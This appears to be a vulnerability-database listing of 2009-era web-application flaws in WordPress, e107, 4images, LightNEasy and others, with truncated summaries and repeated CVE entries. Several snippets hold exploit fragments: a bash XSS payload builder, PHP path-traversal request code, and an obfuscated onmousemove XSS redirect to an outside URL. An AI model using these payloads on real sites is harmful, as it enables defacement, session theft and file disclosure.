Ignition 1.2 (comment) Remote Code Injection Vulnerability

No description provided by source. Ignition Remote Code Execution AUTHOR : Sina Yazdanmehr R3d.W0rm Discovered by : Sina Yazdanmehr R3d.W0rm Our Site : http://IrCrash.com My Official WebSite : http://R3dW0rm.ir IRCRASH Team Members : Khashayar Fereidani - R3d.w0rm Sina Yazdanmehr Download :...

WordPress 2.8.1 Cross Site Scripting

!/bin/bash echo "wp281.quickprz // iso^kpsbr" SITE=$1 COMMENT=$2 MESSAGE="h4x0riZed by the superfreakaz0rz" if "X$SITE" = "X" ; then echo "$0 postID" echo "f.e. $0 www.worstpress.eu" exit fi if "X$POSTID" = "X" ; then POSTID=1 fi echo "+ building payload" WHERE="title" can also be 'content'...

e107 Plugin my_gallery 2.4.1 - readfile() Local File Disclosure

e107 Plugin mygallery 2.4.1 - readfile Local File Disclosure Web 2 XPL : File 2 Read : "; if $POST'xpl' $data .= "GET /$vuln$trasv$file HTTP/1.1\r\n"; $data .= "Host: $host\r\n"; $data...

e107 Plugin my_gallery 2.4.1 - 'readfile()' Local File Disclosure

Web 2 XPL : File 2 Read : "; if $POST'xpl' $data .= "GET /$vuln$trasv$file HTTP/1.1\r\n"; $data .= "Host: $host\r\n"; $data .= "Connection: close\r\n\r\n"; $html = sendpacket$host,$dat...

e107 Plugin my_gallery 2.4.1 readfile() Local File Disclosure Exploit

Exploit for unknown platform in category web applications ===================================================================== e107 Plugin mygallery 2.4.1 readfile Local File Disclosure Exploit ===================================================================== Web 2 XPL : File 2 Read : i...

wordpress281 comments show xss vulnerability-vulnerability warning-the black bar safety net

Ghost boy’blog, XEYE’s blogto assist in testing. POC: the 1. In the comment URL field, fill in the 2. 3. http://blog.sohu.com/fh8e3333211134333/f8e9wjfidsj3332dfs’ onmousemove=’location. href=String. fromCharCode104,116,116,112,58,47,47,105,110,98,114,101,97,107,46,110,101,116,47,97,46,112,104,11...

CVE-2009-2431

WordPress 2.7.1 places the username of a post's author in an HTML comment, which allows remote attackers to obtain sensitive information by reading the HTML source...

CVE-2009-2431

WordPress 2.7.1 places the username of a post's author in an HTML comment, which allows remote attackers to obtain sensitive information by reading the HTML source...

CVE-2009-2431

CVE-2009-2431 affects WordPress 2.7.1, where the author’s username is placed in an HTML comment. This allows remote attackers to read the HTML source and harvest author identifiers (sensitive information). The underlying issue is information disclosure via HTML comments in the post output. Remedi...

CVE-2009-2431

WordPress 2.7.1 places the username of a post's author in an HTML comment, which allows remote attackers to obtain sensitive information by reading the HTML source...

CVE-2009-2431

WordPress 2.7.1 places the username of a post's author in an HTML comment, which allows remote attackers to obtain sensitive information by reading the HTML source...

CVE-2009-2431

WordPress 2.7.1 places the username of a post's author in an HTML comment, which allows remote attackers to obtain sensitive information by reading the HTML source...

TalkBack 2.3.14 Multiple Remote Vulnerabilities

Exploit for unknown platform in category web applications =============================================== TalkBack 2.3.14 Multiple Remote Vulnerabilities =============================================== Download:http://scripts.oldguy.us/talkback/downloads2/talkback2.3.14.zip Script : talkback V...

CVE-2009-2131

Cross-site scripting XSS vulnerability in 4images 1.7.7 and earlier allows remote authenticated users to inject arbitrary web script or HTML by providing a crafted userhomepage parameter to member.php, and then posting a comment associated with a picture...

CVE-2009-2131

Cross-site scripting XSS vulnerability in 4images 1.7.7 and earlier allows remote authenticated users to inject arbitrary web script or HTML by providing a crafted userhomepage parameter to member.php, and then posting a comment associated with a picture...

LightNEasy < 2.2.1 / 2.2.2 XSS Vulnerability

LightNEasy is prone to a cross-site scripting XSS vulnerability. Copyright C 2009 Greenbone Networks GmbH Some text descriptions might be excerpted from a referenced sources, and are Copyright C by the respective right holders. SPDX-License-Identifier: GPL-2.0-or-later This program is free...

4Images 1.7.7 - Filter Bypass HTML Injection / Cross-Site Scripting

|| || | || o,7 || . o7 || q||| o\, : / / . =By: Qabandi =Email: iqaahotmail.fr From Kuwait, PEACE... =Vuln: 4images = 1.7.7 - filter bypass HTML injection/XSS =INFO: =BUY: =DORK: -=/:Conditions:=- --------------------------------------------------------------------------------- ; Magic quotes...

Cross site scripting

Cross-site scripting XSS vulnerability in the comment posting feature in LightNEasy 2.2.1 "no database" aka flat and 2.2.2 SQLite allows remote attackers to inject arbitrary web script or HTML via the 1 commentname aka Author, 2 commentemail aka Email, and 3 commentmessage aka Comment parameters...

CVE-2009-1937

Cross-site scripting XSS vulnerability in the comment posting feature in LightNEasy 2.2.1 "no database" aka flat and 2.2.2 SQLite allows remote attackers to inject arbitrary web script or HTML via the 1 commentname aka Author, 2 commentemail aka Email, and 3 commentmessage aka Comment parameters...

CVE-2009-1937

LightNEasy is affected by an XSS vulnerability in its comment posting feature for versions 2.2.1 (no database/flat) and 2.2.2 SQLite. The issue allows remote attackers to inject arbitrary web script or HTML via the (1) commentname, (2) commentemail, and (3) commentmessage parameters. The public r...